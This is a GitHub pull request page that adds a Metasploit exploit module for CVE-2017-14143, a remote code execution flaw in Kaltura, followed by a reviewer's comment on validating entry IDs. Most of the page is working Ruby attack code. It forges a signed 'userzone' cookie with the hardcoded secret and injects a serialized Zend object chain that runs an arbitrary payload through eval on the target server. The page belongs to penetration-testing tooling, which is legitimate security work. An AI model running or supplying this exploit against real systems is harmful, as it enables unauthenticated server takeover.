-
Notifications
You must be signed in to change notification settings - Fork 13.8k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Add module for Kaltura <= 13.1.0 RCE (CVE-2017-14143) #9114
Merged
Merged
Changes from all commits
Commits
Show all changes
4 commits
Select commit
Hold shift + click to select a range
File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
146 changes: 146 additions & 0 deletions
146
modules/exploits/linux/http/kaltura_unserialize_cookie_rce.rb
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,146 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Exploit::Remote | ||
Rank = ExcellentRanking | ||
CookieSecret = 'y3tAno3therS$cr3T' | ||
|
||
include Msf::Exploit::Remote::HttpClient | ||
|
||
def initialize(info = {}) | ||
super(update_info(info, | ||
'Name' => 'Kaltura Remote PHP Code Execution over Cookie', | ||
'Description' => %q{ | ||
This module exploits an Object Injection vulnerability in Kaltura. | ||
By exploiting this vulnerability, unauthenticated users can execute | ||
arbitrary code under the context of the web server user. | ||
|
||
Kaltura makes use of a hardcoded cookie secret which allows to sign | ||
arbitrary cookie data. After passing this signature check, the base64- | ||
decoded data is passed to PHPs unserialize() function which allows for | ||
code execution. The constructed object is again based on the SektionEins | ||
Zend code execution POP chain PoC. Kaltura versions prior to 13.1.0 are | ||
affected by this issue. | ||
|
||
A valid entry_id (which is required for this exploit) can be obtained | ||
from any media resource published on the kaltura installation. | ||
|
||
This module was tested against Kaltura 13.1.0-2 installed on Ubuntu 14.04. | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => | ||
[ | ||
'Robin Verton <hello@robinverton.de>', | ||
'Mehmet Ince <mehmet@mehmetince.net>' # first kaltura rce module | ||
], | ||
'References' => | ||
[ | ||
['CVE', '2017-14143'] | ||
], | ||
'Privileged' => false, | ||
'Platform' => ['php'], | ||
'Arch' => ARCH_PHP, | ||
'Targets' => [ ['Automatic', {}] ], | ||
'DisclosureDate' => 'Sep 12 2017', | ||
'DefaultTarget' => 0 | ||
)) | ||
|
||
register_options( | ||
[ | ||
OptString.new('TARGETURI', [true, 'The target URI of the Kaltura installation', '/']), | ||
OptString.new('ENTRYID', [true, 'Valid entry ID of any media resource (example: 0_lahha4c9)', '']) | ||
] | ||
) | ||
end | ||
|
||
def check | ||
r = rand_text_alpha(15 + rand(4)) | ||
entry_id = datastore['ENTRYID'] | ||
cmd = "print_r(#{r}).die()" | ||
|
||
p = "" | ||
p << "a:1:{s:1:\"z\";O:8:\"Zend_Log\":1:{s:11:\"\00*\00_writers\";" | ||
p << "a:1:{i:0;O:20:\"Zend_Log_Writer_Mail\":5:{s:16:\"\00*\00_eventsToMail\";" | ||
p << "a:1:{i:0;i:1;}s:22:\"\00*\00_layoutEventsToMail\";a:0:{}s:8:\"\00*\00_mail\";" | ||
p << "O:9:\"Zend_Mail\":0:{}s:10:\"\00*\00_layout\";O:11:\"Zend_Layout\":3:{s:13:\"\00*\00_inflector\";" | ||
p << "O:23:\"Zend_Filter_PregReplace\":2:{s:16:\"\00*\00_matchPattern\";s:7:\"/(.*)/e\";" | ||
p << "s:15:\"\00*\00_replacement\";s:#{cmd.length.to_s}:\"#{cmd}\";}s:20:\"\00*\00_inflectorEnabled\";" | ||
p << "b:1;s:10:\"\00*\00_layout\";s:6:\"layout\";}s:22:\"\00*\00_subjectPrependText\";N;}}};}" | ||
|
||
encoded = Rex::Text.encode_base64(p) | ||
hash = Rex::Text.md5("#{encoded}#{CookieSecret}") | ||
|
||
res = send_request_cgi( | ||
'method' => 'GET', | ||
'uri' => normalize_uri(target_uri.path, 'index.php', 'keditorservices', 'getAllEntries'), | ||
'vars_get' => { | ||
'list_type' => '15', | ||
'entry_id' => entry_id | ||
}, | ||
'cookie' => "userzone=#{encoded}#{hash}" | ||
) | ||
|
||
if res && res.redirect? | ||
print_error("Got a redirect, maybe you are not using https? #{res.headers['Location']}") | ||
Exploit::CheckCode::Safe | ||
elsif res && res.body.include?(r) | ||
Exploit::CheckCode::Vulnerable | ||
elsif !check_entryid | ||
print_error("Invalid ENTRYID") | ||
Exploit::CheckCode::Safe | ||
else | ||
Exploit::CheckCode::Safe | ||
end | ||
end | ||
|
||
def check_entryid | ||
entry_id = datastore['ENTRYID'] | ||
res = send_request_cgi( | ||
'method' => 'GET', | ||
'uri' => normalize_uri(target_uri.path, 'index.php', 'keditorservices', 'getAllEntries'), | ||
'vars_get' => { | ||
'list_type' => '15', | ||
'entry_id' => entry_id | ||
} | ||
) | ||
|
||
return res.body.include? entry_id | ||
end | ||
|
||
def exploit | ||
entry_id = datastore['ENTRYID'] | ||
cmd = "print_r(eval(base64_decode('#{Rex::Text.encode_base64(payload.encode)}'))).die()" | ||
|
||
p = "" | ||
p << "a:1:{s:1:\"z\";O:8:\"Zend_Log\":1:{s:11:\"\00*\00_writers\";" | ||
p << "a:1:{i:0;O:20:\"Zend_Log_Writer_Mail\":5:{s:16:\"\00*\00_eventsToMail\";" | ||
p << "a:1:{i:0;i:1;}s:22:\"\00*\00_layoutEventsToMail\";a:0:{}s:8:\"\00*\00_mail\";" | ||
p << "O:9:\"Zend_Mail\":0:{}s:10:\"\00*\00_layout\";O:11:\"Zend_Layout\":3:{s:13:\"\00*\00_inflector\";" | ||
p << "O:23:\"Zend_Filter_PregReplace\":2:{s:16:\"\00*\00_matchPattern\";s:7:\"/(.*)/e\";" | ||
p << "s:15:\"\00*\00_replacement\";s:#{cmd.length.to_s}:\"#{cmd}\";}s:20:\"\00*\00_inflectorEnabled\";" | ||
p << "b:1;s:10:\"\00*\00_layout\";s:6:\"layout\";}s:22:\"\00*\00_subjectPrependText\";N;}}};}" | ||
|
||
encoded = Rex::Text.encode_base64(p) | ||
hash = Rex::Text.md5("#{encoded}#{CookieSecret}") | ||
|
||
res = send_request_cgi( | ||
'method' => 'GET', | ||
'uri' => normalize_uri(target_uri.path, 'index.php', 'keditorservices', 'getAllEntries'), | ||
'vars_get' => { | ||
'list_type' => '15', | ||
'entry_id' => entry_id | ||
}, | ||
'cookie' => "userzone=#{encoded}#{hash}" | ||
) | ||
|
||
if res && res.redirect? | ||
print_error("Got a redirect, maybe you are not using https? #{res.headers['Location']}") | ||
elsif res && res.code != 200 | ||
print_error('Unexpected response...') | ||
else | ||
print_status("Output: #{res.body}") | ||
end | ||
end | ||
end |
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
As far as I can understand, you need to use valid entry_id. So why don't you directly send HTTP request to the
[target.com]/index.php/keditorservices/getAllEntries?list_type=15&entry_id=0_28bwo20l
and look for0_28bwo20l
at the returned XML file.Valid entryid:
http://[target.com]/index.php/keditorservices/getAllEntries?list_type=15&entry_id=0_28bwo20l
Response
Unvalid entryid:
http://[target.com]/index.php/keditorservices/getAllEntries?list_type=15&entry_id=0_ffffffff
response